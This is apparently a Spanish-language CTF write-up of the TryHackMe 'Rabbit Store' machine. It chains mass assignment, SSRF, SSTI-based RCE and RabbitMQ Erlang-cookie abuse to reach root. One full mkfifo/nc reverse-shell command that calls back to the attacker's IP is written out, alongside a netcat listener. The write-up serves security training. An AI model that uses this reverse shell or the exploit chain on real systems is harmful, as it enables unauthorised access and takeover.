> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/writes-ups/tryhackme/medium/rabbit-store.md).

# Rabbit Store

## Información de la máquina

<figure><img src="/files/z1g2BsEyrhrkS41BwO1v" alt=""><figcaption></figcaption></figure>

**Rabbit Store** es una máquina de dificultad *medium* en TryHackMe que nos reta a encadenar múltiples vulnerabilidades web modernas para lograr la escalada completa hasta root. En este escenario, el atacante debe realizar un reconocimiento profundo que incluye la enumeración de subdominios, manipulación de parámetros en peticiones HTTP y descubrimiento de endpoints ocultos. A lo largo del proceso, se explotan vulnerabilidades como **SSRF (Server-Side Request Forgery)** y **SSTI (Server-Side Template Injection)**, culminando en una **RCE (Remote Command Execution)**. Además, el vector final involucra la explotación de **RabbitMQ**, un servicio poco común en entornos CTF, lo que añade una capa de complejidad interesante al post-exploitation. Esta máquina es ideal para quienes desean fortalecer sus habilidades en análisis de APIs, lógica de autenticación, explotación de plantillas inseguras y manejo de servicios de mensajería basados en Erlang.

***

## Reconocimiento

Empezaremos haciendo un primer reconocimiento para ver los puertos abiertos en el sistema.

<figure><img src="/files/RA1B4WWUujqp68T4RSif" alt=""><figcaption></figcaption></figure>

**1. `-p-` → Escaneo de todos los puertos (1-65535)**

Por defecto, `nmap` solo escanea los **1000 puertos más comunes**.\
Con `-p-`, forzamos a que escanee **los 65.535 puertos** de la máquina objetivo, lo que puede ser útil para encontrar servicios que corren en puertos poco convencionales.

**2. `--open` → Filtrar solo los puertos abiertos**

Cuando escaneamos un sistema, muchos puertos pueden estar cerrados o filtrados por un firewall.\
Este parámetro hace que `nmap` **solo muestre los puertos abiertos**, reduciendo el ruido y facilitando el análisis.

**3. `-sS` → Stealth Scan (Escaneo Sigiloso con SYN)**

Es conocido como **"TCP SYN Scan"**, y funciona de la siguiente manera:

* `nmap` envía un paquete **SYN** (solicitud de conexión).
* &#x20;Si el puerto está abierto, el servidor responde con **SYN-ACK**.
* En lugar de completar la conexión con un **ACK**, `nmap` responde con un **RST (Reset)**, interrumpiendo la comunicación.

**4. `--min-rate 5000` → Velocidad mínima de paquetes (5000 por segundo)**

Por defecto, `nmap` ajusta dinámicamente la velocidad de los paquetes según la respuesta de la red.\
Con `--min-rate 5000`, obligamos a `nmap` a **no enviar menos de 5000 paquetes por segundo**, acelerando el escaneo.

**5. `-n` → Deshabilitar resolución DNS**

Normalmente, `nmap` intenta resolver el nombre de dominio de las IPs escaneadas (DNS lookup).\
Con `-n`, evitamos esta resolución de nombres, lo que **acelera el escaneo** y evita que los servidores DNS registren nuestra actividad.

**6. `-Pn` → Omitir detección de host (Host Discovery Off)**

Por defecto, `nmap` envía paquetes ICMP (ping) para ver si un host está activo antes de escanearlo.\
Si un firewall bloquea los pings, `nmap` puede marcarlo como "host down" y no escanearlo.

**7. `-oG`** **→ Exportar el contenido en formato grepeable**

Todo el resultado del escaneo lo exportaremos en un archivo llamado **`allPorts` .**

El escaneo revela que los puertos **22** y 80, 4369, 25672 están abiertos. Ahora realizamos un escaneo más detallado:

<figure><img src="/files/7hMeHz0MRHZ6oR529yM1" alt=""><figcaption></figcaption></figure>

**1.** `-p22,80,4369,25672` **→ Escaneo de puertos específicos**

Con `-p22,80,4369,25672`, le indicamos que **solo** escanee los puertos que le indicamos

**2. `-sCV` → Escaneo de versiones y scripts básicos**

Este parámetro en realidad es **dos combinaciones en una**:

* **`-sC`** → Activa los **NSE scripts por defecto** en `nmap` (similar a usar `--script=default`).\
  Ejecuta scripts básicos para enumerar información del servicio detectado, como banners, versiones, etc.
* **`-sV`** → Realiza **fingerprinting de versiones**, intentando identificar la versión exacta del software en cada puerto abierto.

**3. `-oN` → Guardar el resultado en formato Normal**

Por defecto, `nmap` muestra los resultados en pantalla, pero con **`-oN targeted`**, guardamos el resultado en un archivo en **formato legible para humanos**.

Podemos observar el escaneo que en el puerto 80, se hace una redirección a <http://cloudsite.thm>, por lo que en un principio cambiaremos el /etc/hosts

<figure><img src="/files/ldXezXuxwm9nj7fuwacx" alt=""><figcaption></figcaption></figure>

Empezamos accediendo al sitio web principal del objetivo. La idea es analizar visualmente qué elementos están disponibles en la interfaz y qué funcionalidades ofrece, para tener un punto de partida en la enumeración.

<figure><img src="/files/pPSje7guLW1bKEF7nVlz" alt=""><figcaption></figcaption></figure>

Al hacer clic en el botón de login o registro, no nos quedamos en el mismo dominio, sino que somos redirigidos a un subdominio diferente, lo que indica que el flujo de autenticación está en otra parte del sistema.

<figure><img src="/files/jXg2JSyGAKzgOGCOpKoN" alt=""><figcaption></figcaption></figure>

Para que nuestro sistema pueda resolver correctamente el subdominio (si no está en DNS público), editamos el archivo `/etc/hosts` y añadimos una entrada que relacione la IP de la máquina objetivo con el subdominio nuevo.

<figure><img src="/files/vuRWR4C4WP0nUXP2Yvue" alt=""><figcaption></figcaption></figure>

Creamos una nueva cuenta desde la interfaz de registro y luego iniciamos sesión con las credenciales que acabamos de crear, lo que nos permitirá ver qué funcionalidades están disponibles para usuarios autenticados.

<figure><img src="/files/waOlnn5m9TIsxEWoS9wt" alt=""><figcaption></figcaption></figure>

Una vez dentro, la aplicación nos restringe el acceso al contenido principal y muestra un mensaje indicando que necesitamos que un administrador active nuestra suscripción.

<figure><img src="/files/gIl5cUYvxVCdGm7nmfR9" alt=""><figcaption></figcaption></figure>

Probamos manualmente modificar la URL en el navegador, por ejemplo accediendo a `/active`, y se nos presenta un mensaje de error con formato de API. Esto indica que estamos interactuando con un backend que podría estar estructurado en endpoints REST.

<figure><img src="/files/wRp8E5mFTKVrfke4x6Pt" alt=""><figcaption></figcaption></figure>

Ya que descubrimos algunos endpoints como `/api/active`, decidimos hacer fuzzing con `ffuf` para descubrir más rutas. Encontramos `/uploads` y `/docs`, aunque están protegidos (con códigos 401 y 403). Tomamos nota de ellos para futuras pruebas.

```yaml
ffuf -u 'http://storage.cloudsite.thm/api/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
...
uploads                 [Status: 401, Size: 32, Words: 3, Lines: 1, Duration: 112ms]
docs                    [Status: 403, Size: 27, Words: 2, Lines: 1, Duration: 2542ms]
```

## Abusing login subscription active

Vamos a intentar forzar que nuestra cuenta se cree con una suscripción activa manipulando la solicitud de registro.

Interceptamos la solicitud de registro con Burp Suite para analizar los parámetros que se están enviando al servidor cuando nos registramos.

<figure><img src="/files/5iYx92SC7R9qG9GS7RQ1" alt=""><figcaption></figcaption></figure>

Detectamos que no se está enviando ningún parámetro llamado `subscription`. Por tanto, lo agregamos manualmente y le asignamos el valor `active`, con la intención de engañar al servidor para que nos registre como usuarios con suscripción activa.

<figure><img src="/files/Uot83vUwcnTA8kGIZA3g" alt=""><figcaption></figcaption></figure>

La manipulación fue exitosa. Ahora que la suscripción está activada, tenemos acceso a nuevas funciones dentro de la aplicación, incluyendo una para subir archivos.

<figure><img src="/files/D58saDkHWx46RE5xAvmL" alt=""><figcaption></figcaption></figure>

Además de subir archivos desde nuestro dispositivo, hay una opción que permite al servidor cargar un archivo desde una URL que nosotros le proporcionemos. Esto puede abrir la puerta a vulnerabilidades como SSRF.

<figure><img src="/files/t7tjfk2pTWDMIdXuGnpO" alt=""><figcaption></figcaption></figure>

Con el acceso permitido, podemos interactuar directamente con el endpoint `/api/uploads`, que antes nos devolvía un 401.

## SSRF&#x20;

Esto se vuelve interesante porque si logramos que el servidor cargue una URL que nosotros controlamos, podemos verificar si hay una Server-Side Request Forgery (SSRF), es decir, si el servidor hace peticiones internas a nuestras direcciones externas.

Si al hacer que el servidor cargue una URL que apunta a nuestra IP, recibimos una conexión entrante, significa que el servidor está haciendo la petición, lo cual confirma un SSRF.

Ponemos a la escucha un servidor con Python para recibir esa conexión:

<figure><img src="/files/6hLzl7NFviiOEbCqroNT" alt=""><figcaption></figcaption></figure>

Como prueba, damos una URL que apunta a un archivo inexistente para ver si aún así el servidor hace la solicitud.

<figure><img src="/files/Pq7kuYMDAlZGCLBAcats" alt=""><figcaption></figcaption></figure>

El servidor efectivamente realiza la solicitud, lo que se refleja en los logs del servidor HTTP que levantamos. Esto confirma el SSRF.

<figure><img src="/files/PQdQVGPxackQts7kj9NX" alt=""><figcaption></figcaption></figure>

## api/docs private content

Anteriormente detectamos el endpoint `/api/docs`, al que no podíamos acceder. Pero gracias al SSRF, podemos forzar al propio servidor a hacer una solicitud interna a este endpoint y mostrarnos su contenido.

<figure><img src="/files/dL8a7uFC7gY1nnOBv6Mn" alt=""><figcaption></figcaption></figure>

Al ver el contenido de `/api/docs`, aparece un nuevo endpoint interesante: `/api/fetch_messages_from_chatbot`, que no conocíamos hasta ahora.

<figure><img src="/files/VCe81oQAnHVkkgO4JSgx" alt=""><figcaption></figcaption></figure>

## SSTI to RCE in /api/fetch\_messages\_from\_chatbot endpoint

Vamos a analizar este nuevo endpoint, ya que podría estar vulnerable a Server-Side Template Injection (SSTI), que podría llevar a ejecución remota de comandos (RCE).

Cuando proporcionamos un `username`, este se refleja directamente en la respuesta sin sanitización, lo que indica una posible vulnerabilidad SSTI.

<figure><img src="/files/zMFU28UqB0I1fbs6Hzck" alt=""><figcaption></figcaption></figure>

Cuando proporcionamos un `username`, este se refleja directamente en la respuesta sin sanitización, lo que indica una posible vulnerabilidad SSTI.

<figure><img src="/files/Aq8HFtJnPAPGBoTS0KBU" alt=""><figcaption></figcaption></figure>

Intentamos un payload típico de SSTI y se ejecuta correctamente, confirmando la vulnerabilidad.

<figure><img src="/files/iJAhJH2pJUZylAUyt86F" alt=""><figcaption></figcaption></figure>

Probamos un payload para ejecutar comandos del sistema, como `whoami`, y el servidor responde con el usuario `azrael`, lo que demuestra que tenemos RCE.

<figure><img src="/files/DiR8WGaXSYxpbcCcPvGd" alt=""><figcaption></figcaption></figure>

## Shell as azrael

Ahora buscamos establecer una reverse shell como el usuario `azrael`, utilizando una técnica más compleja que una simple línea de `bash`.

**Ya solo falta entablarnos una reverse shell, más sofisticada de lo normal:**

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.21.221.125 443 >/tmp/f
```

Este comando crea una reverse shell usando `mkfifo` y `nc`, permitiendo una conexión interactiva más estable.

<figure><img src="/files/jTfuijOAmtyD2FCeP80L" alt=""><figcaption></figcaption></figure>

Nos preparamos con `nc -nlvp 443` y al ejecutar el payload anterior, obtenemos acceso al sistema como `azrael`.

<figure><img src="/files/NkRiJ16xGfeSaxQ3UIcW" alt=""><figcaption></figcaption></figure>

Con la shell establecida, accedemos al sistema de archivos y encontramos la primera flag (probablemente en `/home/azrael/user.txt` o similar).

<figure><img src="/files/wCQK20VDEqstaaV2OKim" alt=""><figcaption></figcaption></figure>

## Shell as root -> RabbitMQ

Después de enumerar bien el sistema, nos encontramos con RabbitMQ.

<figure><img src="/files/jOeXNCbRDddZa8cp8oKE" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
**RabbitMQ** es un intermediario de mensajes, también conocido como *message broker*, que permite la comunicación entre diferentes aplicaciones o partes de una misma aplicación de forma asíncrona. Su función principal es recibir, almacenar y entregar mensajes entre componentes llamados productores (que envían mensajes) y consumidores (que los reciben y procesan). RabbitMQ se basa en un sistema de colas: los productores envían mensajes a un *exchange*, el cual decide a qué *cola* deben ir esos mensajes, y desde allí los consumidores los recogen. Esta arquitectura permite desacoplar servicios, mejorar la escalabilidad y tolerar caídas parciales del sistema, lo que lo hace ideal para arquitecturas de microservicios.
{% endhint %}

RabbitMQ está construido con **Erlang**, un lenguaje de programación funcional diseñado originalmente para telecomunicaciones. Erlang es famoso por su capacidad de manejar alta concurrencia, su tolerancia a fallos y su modelo basado en procesos aislados que se comunican mediante el paso de mensajes. Los servicios construidos con Erlang, como RabbitMQ, se denominan **Erlang-based services**, y corren sobre una máquina virtual conocida como **BEAM** (similar a la JVM de Java). Gracias a esta base, RabbitMQ puede escalar de forma eficiente y mantenerse estable incluso en sistemas con una carga alta y muchas conexiones simultáneas.

<figure><img src="/files/MziUb1Fcs66VcUXys5HN" alt=""><figcaption></figcaption></figure>

Podemos verificar esto ejecutando el siguiente comando, aunque con el escaneo inicial hemos visto que se ejecutaba en el puerto 4369.

<figure><img src="/files/IwhxljsX3HUOWWAAAehT" alt=""><figcaption></figcaption></figure>

**`rabbitmqctl`** es una herramienta de línea de comandos que se utiliza para administrar RabbitMQ. Con ella, un administrador puede realizar múltiples tareas como listar colas, usuarios y exchanges, añadir o eliminar usuarios, configurar permisos, reiniciar nodos y consultar el estado del servidor.

Usando la **cookie de Erlang** , podemos autenticarnos y comunicarnos con el nodo **RabbitMQ** . Dado que los nodos RabbitMQ tienen el formato `rabbit@<hostname>`, añadimos el nombre de host del destino ( `forge`) al `/etc/hosts`:

<figure><img src="/files/RtSWIZHvI8Cd19r8i3Ir" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Y1ncLJrapbxWv6XuK1He" alt=""><figcaption></figcaption></figure>

A partir del nombre de usuario, se observa que la contraseña del `root` en el destino es el **hash SHA-256** de la `root` del usuario en la instancia **de RabbitMQ** . Podemos recuperar este hash con el `export_definitions`

<figure><img src="/files/a6jBuwKMEqmTBPQwNlWE" alt=""><figcaption></figcaption></figure>

La estructura según la documentación de RabbitMQ es de la siguiente forma: `base64(<4 byte salt> + sha256(<4 byte salt> + <password>)).`

Crearemos un script en python bastante sencillo para automatizar todo el proceso y obtener la contraseña del usuario root.

<figure><img src="/files/CzeP0WWeQejPAkmZirZO" alt=""><figcaption></figcaption></figure>

Ejecutamos el script y obtenemos la password

<figure><img src="/files/k6J8pTThMpOFdocGRhpc" alt=""><figcaption></figcaption></figure>

Iniciamos sesión como este usuario y obtenemos la flag final.

<figure><img src="/files/krcRd9iW2VI3fH2OaaQn" alt=""><figcaption></figcaption></figure>

***

## Conclusión

La máquina **Rabbit Store** demuestra cómo errores en la lógica de negocio, falta de validación del lado del servidor y una configuración insegura de servicios internos pueden ser combinados para comprometer completamente un sistema. Desde la manipulación del proceso de registro para obtener privilegios, hasta la explotación de una SSRF para leer recursos internos, y una SSTI que deriva en RCE, el reto representa un caso práctico y realista de una cadena de ataque completa. Finalmente, la explotación de RabbitMQ —utilizando el mecanismo de autenticación con cookie de Erlang y análisis del hash SHA-256 de un usuario— cierra el ciclo con una escalada efectiva a root. Es una máquina muy didáctica que refuerza la importancia del hardening en servicios expuestos, la validación adecuada en aplicaciones web, y la protección de sistemas de mensajería críticos.
